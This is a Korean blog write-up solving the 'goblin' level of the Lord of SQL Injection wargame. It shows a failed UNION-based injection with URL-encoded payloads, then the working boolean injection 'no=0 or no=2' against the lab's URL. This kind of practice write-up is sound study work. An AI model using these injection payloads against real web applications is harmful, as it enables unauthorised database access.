1. 문제 지문


2. 요약
  • 일부 문자 필터링
  • 쿼터 사용이 금지
  • id 값이 admin으로 설정되면 클리어
  • 이번에는 id가 아닌 no가 입력 벡터가 됨


3. 풀이
주어진 쿼리
select id from prob_goblin where id='guest' and no={$_GET[no]}

no값을 1로 지정했을 때

위와 같이 guest를 환영하는 메시지가 출력된다.
1번이 guest라는 것을 알 수 있다.
그러나 우리가 찾아야 할 것은 admin이다.

나는 여기서 Union을 조합해 볼까 생각하였다.

Union 인젝션 공격은 먹혔다.
여기서 Union 인젝션으로 공격하는 코드를 짜보았다.
select id from prob_goblin where id='guest' and no=-1 union select id from prob_goblin where id='admin'#
select id from prob_goblin where id='guest' and no=-1 union select id from %70%72%6F%62%5F567%6F%62%6C%69%6E where id=%27admin%27;%23


https://los.eagle-jump.org/goblin_5559aacf2617d21ebb6efe907b7dded8.php?no=-1 union select id from %70%72%6F%62%5F567%6F%62%6C%69%6E where id=%27admin%27;%23

결과는....

안 된다. 분명히 필터에 걸리는 문자열들을 인코딩해서 넘겨줬는데도 안되는 걸 보면 이 방법으로 푸는 것은 아닌 것 같다라는 생각이 들었다.


살짝 현탐이 오고나서, 문득 다른 방법이 떠올랐다.
"어짜피 no값과 id값이 매칭 되어 있을텐데, admin과 guest의 숫자를 다르게 했을까?"라는 생각이 들었고,

no
id
1
guest
?
admin

https://los.eagle-jump.org/goblin_5559aacf2617d21ebb6efe907b7dded8.php?no=0 or no=0
https://los.eagle-jump.org/goblin_5559aacf2617d21ebb6efe907b7dded8.php?no=0 or no=1
https://los.eagle-jump.org/goblin_5559aacf2617d21ebb6efe907b7dded8.php?no=0 or no=2
...
이렇게 하다 보면 맞겠다 싶었다.

SQL 쿼리를 풀어쓰면
select id from prob_goblin where id='guest' and no=0 or no=1;
파란색으로 칠한 부분만 참인 id 값을 불러올 것이다.

공격 결과,

no값이 2일 때 공격에 성공한 것을 볼 수 있다.
만약 admin이 랜덤 값으로 설정되었다면, 이 방법은 먹히지 않았을 것이다.
다른 사람들의 Write-Up을 보는 것도 좋을 것 같다.


'Web > LOS' 카테고리의 다른 글

LOS 풀이 - (06) darkelf  (0) 2019.07.09
LOS 풀이 - (05) wolfman  (0) 2019.07.09
LOS 풀이 - (04) Orc  (0) 2019.07.09
LOS 풀이 - (02) Cobolt  (0) 2019.06.29
LOS 풀이 - (01) Gremlin  (0) 2019.06.29

+ Recent posts